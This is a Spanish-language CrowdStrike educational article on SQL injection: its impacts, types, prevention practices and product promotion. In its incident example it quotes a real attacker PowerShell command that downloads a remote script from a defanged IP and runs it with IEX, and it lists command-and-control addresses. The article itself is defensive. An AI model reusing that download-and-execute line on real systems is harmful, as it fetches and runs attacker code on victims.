Resumen ejecutivo del Informe Global sobre Amenazas 2026 de CrowdStrike: el informe definitivo sobre inteligencia de amenazas para la era de la IA Descargar

¿Qué es la inyección SQL (SQLi)?

La inyección SQL (SQLi) es un ciberataque que inyecta código SQL malicioso en una aplicación. Esto permite al ciberdelincuente ver o modificar una base de datos. Según el Open Web Application Security Project, los ataques de inyección, que incluyen inyecciones SQL, fueron el tercer riesgo de seguridad de aplicaciones web más grave en 2021. En las aplicaciones que probaron, hubo 274 000 casos de inyección.

Para protegerse contra ataques de inyección SQL, es esencial comprender cuál es su impacto y cómo ocurren para poder seguir las prácticas recomendadas, probar vulnerabilidades y considerar invertir en software que prevenga activamente los ataques.

Consecuencias de un ataque de inyección SQL exitoso

Los ataques de inyección SQL pueden tener un impacto negativo significativo en una organización. Las organizaciones tienen acceso a datos empresariales confidenciales e información privada de clientes, y los ataques de inyección SQL a menudo buscan esos datos. Cuando un usuario malintencionado completa con éxito un ataque de inyección SQL, puede tener cualquiera de los siguientes impactos:

  • Expone datos confidenciales de la empresa: mediante la inyección SQL, los ciberdelincuentes pueden recuperar y alterar datos, lo que implica el riesgo de exponer datos confidenciales de la empresa almacenados en el servidor SQL.
  • Vulnera la privacidad de los usuarios: dependiendo de los datos almacenados en el servidor SQL, un ataque puede exponer datos privados del usuario, como números de tarjetas de crédito.
  • Concede a un ciberdelincuente acceso administrativo a tu sistema: si un usuario de la base de datos tiene privilegios administrativos, un ciberdelincuente puede obtener acceso al sistema utilizando código malicioso. Para protegerse contra este tipo de vulnerabilidad, crea un usuario de base de datos con los mínimos privilegios posibles.
  • Concede a un ciberdelincuente acceso general a tu sistema: si utilizas comandos SQL débiles para comprobar nombres de usuario y contraseñas, un ciberdelincuente podría obtener acceso a tu sistema sin conocer las credenciales de un usuario. Con acceso general a tu sistema, un ciberdelincuente puede causar daños adicionales al acceder a información sensible y manipularla.
  • Compromete la integridad de tus datos: mediante la inyección SQL, el ciberdelincuente puede realizar cambios o eliminar información de tu sistema.

Puesto que el impacto de un ataque de inyección SQL exitoso puede ser grave, es importante que las empresas practiquen la prevención y limiten las vulnerabilidades antes de que ocurra un ataque. Para ello, debes comprender cómo tiene lugar un ataque de inyección SQL, de modo que sepas a qué te enfrentas.

3 tipos de inyección SQL

Al comprender las amenazas a la ciberseguridad, las organizaciones pueden prepararse mejor para los ataques y corregir las vulnerabilidades. Echemos un vistazo a los tipos de ataques de inyección SQL, que se dividen en tres categorías: inyección SQL en banda, inferencial y fuera de banda.

1. Inyección SQL en banda

La inyección SQL en banda es el tipo de ataque más común. Con este tipo de ataque de inyección SQL, un usuario malintencionado utiliza el mismo canal de comunicación para el ataque y para recopilar resultados. Las siguientes técnicas son los tipos más comunes de ataques de inyección SQL en banda:

  • Inyección SQL basada en errores: con esta técnica, los ciberdelincuentes obtienen información sobre la estructura de la base de datos cuando utilizan un comando SQL para generar un mensaje de error desde el servidor de base de datos. Los mensajes de error son útiles al desarrollar una aplicación o página web, pero pueden ser una vulnerabilidad más adelante porque exponen información sobre la base de datos. Para evitar esta vulnerabilidad, puedes desactivar los mensajes de error después de lanzar un sitio web o una aplicación.
  • Inyección SQL basada en unión: con esta técnica, los ciberdelincuentes utilizan el operador SQL UNION para combinar múltiples declaraciones de selección y devolver una única respuesta HTTP. Un ciberdelincuente puede utilizar esta técnica para extraer información de la base de datos. Esta técnica es el tipo más común de inyección SQL y requiere más medidas de seguridad para combatirla que la inyección SQL basada en errores.

2. Inyección SQL inferencial

La inyección SQL inferencial también se denomina inyección SQL ciega porque la base de datos del sitio web no transfiere datos al ciberdelincuente como ocurre con la inyección SQL en banda. En cambio, un usuario malintencionado puede obtener información sobre la estructura del servidor enviando payloads de datos y observando la respuesta. Los ataques de inyección SQL inferencial son menos comunes que los ataques de inyección SQL en banda porque pueden tardar más en completarse. Los dos tipos de ataques de inyección SQL inferencial utilizan las siguientes técnicas:

  • Inyección booleana: con esta técnica, los ciberdelincuentes envían una consulta SQL a la base de datos y observan el resultado. Los ciberdelincuentes pueden inferir si un resultado es verdadero o falso en función de si se modificó la información de la respuesta HTTP.
  • Inyección basada en tiempo: con esta técnica, los ciberdelincuentes envían una consulta SQL a la base de datos, haciendo que la base de datos espere un número específico de segundos antes de responder. Los ciberdelincuentes pueden determinar si el resultado es verdadero o falso en función del número de segundos que transcurren antes de una respuesta. Por ejemplo, un hacker podría usar una consulta SQL que ordene un retraso si la primera letra del nombre de la primera base de datos es A. Entonces, si la respuesta se retrasa, el ciberdelincuente sabe que la consulta es verdadera.

3. Inyección SQL fuera de banda

La inyección SQL fuera de banda es el tipo de ataque menos común. Con este tipo de ataque de inyección SQL, los usuarios malintencionados utilizan un canal de comunicación diferente para el ataque del que utilizan para recopilar resultados. Los ciberdelincuentes utilizan este método si un servidor es demasiado lento o inestable para usar la inyección SQL inferencial o en banda.

¿Cómo se realiza un ataque de inyección SQL?

SQL es un lenguaje utilizado en programación y diseñado para datos en un sistema de gestión de flujo de datos relacionales. Las consultas SQL ejecutan comandos, como aquellos que sirven para recuperar o actualizar datos, y eliminar registros. Para ejecutar comandos malintencionados, un ciberdelincuente puede insertar código malicioso en cadenas que se pasan a un servidor SQL para su ejecución. Hay varias formas en que los usuarios malintencionados pueden ejecutar un ataque, pero las entradas vulnerables más comunes en una aplicación o página web son los campos de entrada del usuario, como los formularios que permiten introducir texto libre.

Ejemplo de inyección SQL

Crowdstrike Falcon Overwatch observó un incidente en el que se inyectó SQL con éxito para obtener la ejecución de código como un vector de infección inicial, lo que llevó a la ejecución de comandos de PowerShell codificados que se codificaron en:

$p=((New-Object Net.WebClient).DownloadString('http[:]//46.17.105[.]207/lzbt6001sop_64refl.ps1'));$p|.('IeX')

El comando desencadenó la descarga de un cargador Demux PowerShell comúnmente utilizado por Carbon Spider, un ciberadversario que ataca principalmente a los sectores hotelero y minorista para recopilar datos de tarjetas de pago. Demur ejecutó una DLL de preparación en la memoria que utilizó 46.17.105[.]207 y 185.242.85[.]126 para comunicaciones de comando y control (C2).

Además, el actor utilizó echo 1 y ping -n [number] 127.0.0.1 varias veces para garantizar la conectividad y la capacidad de respuesta del host a los intentos de inyección SQL. También utilizó wmic para consultar el nombre de dominio.

9 prácticas recomendadas para proteger tu base de datos de la inyección SQL

Al desarrollar tu sitio o aplicación web, puedes incorporar medidas de seguridad que limiten tu exposición a ataques de inyección SQL. Por ejemplo, las siguientes medidas de prevención de seguridad son las formas más efectivas de prevenir ataques de inyección SQL:

  1. Instala el software y los parches de seguridad más recientes de los proveedores cuando estén disponibles.
  2. Otorga solo los privilegios mínimos necesarios a las cuentas que se conectan a la base de datos SQL.
  3. No compartas cuentas de bases de datos en diferentes sitios web y aplicaciones.
  4. Utiliza la validación para todo tipo de entradas proporcionadas por el usuario, incluidos los menús desplegables.
  5. Configura el informe de errores en lugar de enviar mensajes de error al navegador web del cliente.
  6. Emplea declaraciones preparadas con consultas parametrizadas que definan todo el código SQL y pasen cada parámetro para que los ciberdelincuentes no puedan alterar la intención de una consulta posteriormente.
  7. Usa procedimientos almacenados para crear declaraciones SQL con parámetros que están en el repositorio de la base de datos y son llamados desde la aplicación.
  8. Utiliza la validación de entrada de lista blanca para evitar que se agreguen a la consulta entradas de usuario no validadas.
  9. Escapa toda entrada proporcionada por el usuario antes de colocarla en una consulta para que la entrada no se confunda con el código SQL del desarrollador.

En general, las organizaciones deben evitar el uso de cuentas compartidas para que los ciberdelincuentes no puedan obtener más acceso si una cuenta está comprometida. Las organizaciones también deben evitar enviar mensajes de error de base de datos al navegador web del cliente porque los ciberdelincuentes pueden usar esa información para comprender detalles técnicos sobre la base de datos.

El enfoque de CrowdStrike para detener los ataques SQL

Como la inyección SQL es una técnica de hacking común y las consecuencias pueden ser graves, es importante proteger tu negocio de estas amenazas. Si sigues las prácticas recomendadas y realizas pruebas periódicas para detectar vulnerabilidades, puedes reducir la probabilidad de convertirte en víctima de un ataque de inyección SQL. Además, las organizaciones deberían considerar invertir en una solución integral de ciberseguridad, como la plataforma CrowdStrike Falcon®. Las soluciones de ciberseguridad ayudan a fortalecer tu posición de seguridad contra la inyección SQL y muchos otros riesgos de ciberseguridad.

La plataforma Falcon es altamente modular y extensible, lo que facilita la adopción de la protección que necesitas. La arquitectura basada en la nube puede defender a las organizaciones empresariales sin comprometer la velocidad y el rendimiento. La plataforma de CrowdStrike puede ayudarte a proteger aspectos fundamentales del riesgo empresarial: endpoints, carga de trabajo en la nube, identidades y datos. Para descubrir cómo CrowdStrike podría proteger tu negocio de un ataque de inyección SQL, lee cómo los equipos de inteligencia y Threat Hunting de CrowdStrike detuvieron una campaña de inyección SQL.

Bart es Senior Product Marketing Manager de inteligencia sobre amenazas en CrowdStrike y cuenta con más de 20 años de experiencia en inteligencia, detección y supervisión de amenazas. Tras iniciar su carrera como analista de operaciones de seguridad de red en una organización financiera belga, se trasladó a la costa este de los Estados Unidos para incorporarse a varias empresas de ciberseguridad, como 3Com/Tippingpoint, RSA Security, Symantec, McAfee, Venafi y FireEye-Mandiant, donde se encargó de la gestión y del marketing de productos.